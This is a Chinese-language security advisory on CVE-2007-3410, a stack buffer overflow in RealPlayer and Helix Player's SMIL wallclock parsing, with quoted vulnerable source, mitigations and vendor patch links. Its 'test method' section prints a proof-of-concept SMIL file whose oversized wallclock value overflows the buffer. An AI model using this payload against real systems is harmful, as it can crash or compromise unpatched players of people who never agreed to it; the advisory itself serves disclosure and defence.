安全研究

安全漏洞
RealPlayer/HelixPlayer ParseWallClockValue函数栈缓冲区溢出漏洞

发布日期:2007-06-26
更新日期:2007-10-26

受影响系统:
Real Networks RealPlayer 10.5-GOLD
Real Networks Helix Player 10.5-GOLD
描述:
BUGTRAQ  ID: 24658,25627
CVE(CAN) ID: CVE-2007-3410

RealPlayer是一款非常流行的媒体播放器,支持多种格式;HelixPlayer是其开源版本。

RealPlayer/HelixPlayer播放器的墙壁时钟在处理日期格式时存在缓冲区漏洞,远程攻击者可能利用此漏洞控制用户机器。

墙壁时钟(wallclock)功能没有正确地处理HH:mm:ss.f时间格式:

   924    HX_RESULT
   925    SmilTimeValue::parseWallClockValue(REF(const char*) pCh)
   926    {
   ...
   957        char buf[10]; /* Flawfinder: ignore */
   ...
   962        while (*pCh)
   963        {
   ...
   972             else if (isspace(*pCh) || *pCh == '+' || *pCh == '-' || *pCh == 'Z')
   973             {
   974                 // this will find the last +, - or Z... which is what we want.
   975                 pTimeZone = pCh;
   976             }
   ...
   982             ++pCh;
   983        }
   ...
  1101        if (pTimePos)
  1102        {
  1103        //HH:MM...
  ....
  1133          if (*(pos-1) == ':')
  1134          {
  ....
  1148            if (*(pos-1) == '.')
  1149            {
  1150            // find end.
  1151            UINT32 len = 0;
  1152            if (pTimeZone)
  1153            {
  1154                len = pTimeZone - pos;
  1155            }
  1156            else
  1157            {
  1158                len = end - pos;
  1159            }
  1160            strncpy(buf, pos, len); /* Flawfinder: ignore */

在957行栈缓冲区声明为10字节,该行的标注导致FlawFinder程序忽略这个缓冲区。

962行开始的循环通过一个函数参数运行,该函数用于寻找表示时间格式中不同部分的字符。如果遇到了空格、“+”、“-”、或“Z”字符,就会记录下位置以备之后使用。如果找到了时间且包含有冒号和逗号,就会到达有漏洞的代码。

1154或1158行计算将要拷贝到栈缓冲区的数据长度,具体取决于是否存在时区。这两处计算都没有考虑buf缓冲区的常数长度,因此在1160行可能出现栈溢出。此外,该行不安全地使用strncpy()也被标记了忽略FlawFinder的标注。

如果用户受骗使用有漏洞的播放器加载了同步多媒体集成语言(SMIL)文件的话,就可能触发这个溢出,导致执行任意指令。

此外RealPlayer和HelixPlayer在处理畸形的.au文件时还可能将0用作除数,导致播放器崩溃。

<*来源:iDEFENSE
  
  链接:http://marc.info/?l=bugtraq&m=118952488307553&w=2
        http://secunia.com/advisories/25819/
        http://service.real.com/realplayer/security/10252007_player/en/
        http://secunia.com/advisories/27361/
        http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=547
        https://www.redhat.com/support/errata/RHSA-2007-0605.html
        https://www.redhat.com/support/errata/RHSA-2007-0841.html
        http://security.gentoo.org/glsa/glsa-200709-05.xml
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<!--
author:    axis
site:   http://www.ph4nt0m.org
-->

<smil xmlns="http://www.w3.org/2000/SMIL20/CR/Language">
  <body>
    <par>
      <img src="./1.jpg" begin="wallclock(12:00:00.999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999+9)" dur="5s"/>
    </par>
  </body>
</smil>

http://marc.info/?l=bugtraq&m=118952488307553&q=p3

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 为CLSID CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA设置kill-bit。

厂商补丁:

Real Networks
-------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.real.com

RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2007:0605-01)以及相应补丁:
RHSA-2007:0605-01:Critical: HelixPlayer security update
链接:https://www.redhat.com/support/errata/RHSA-2007-0605.html

Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200709-05)以及相应补丁:
GLSA-200709-05:RealPlayer: Buffer overflow
链接:http://security.gentoo.org/glsa/glsa-200709-05.xml

所有RealPlayer用户都应升级到最新版本:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-video/realplayer-10.0.9"

浏览次数:2732
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障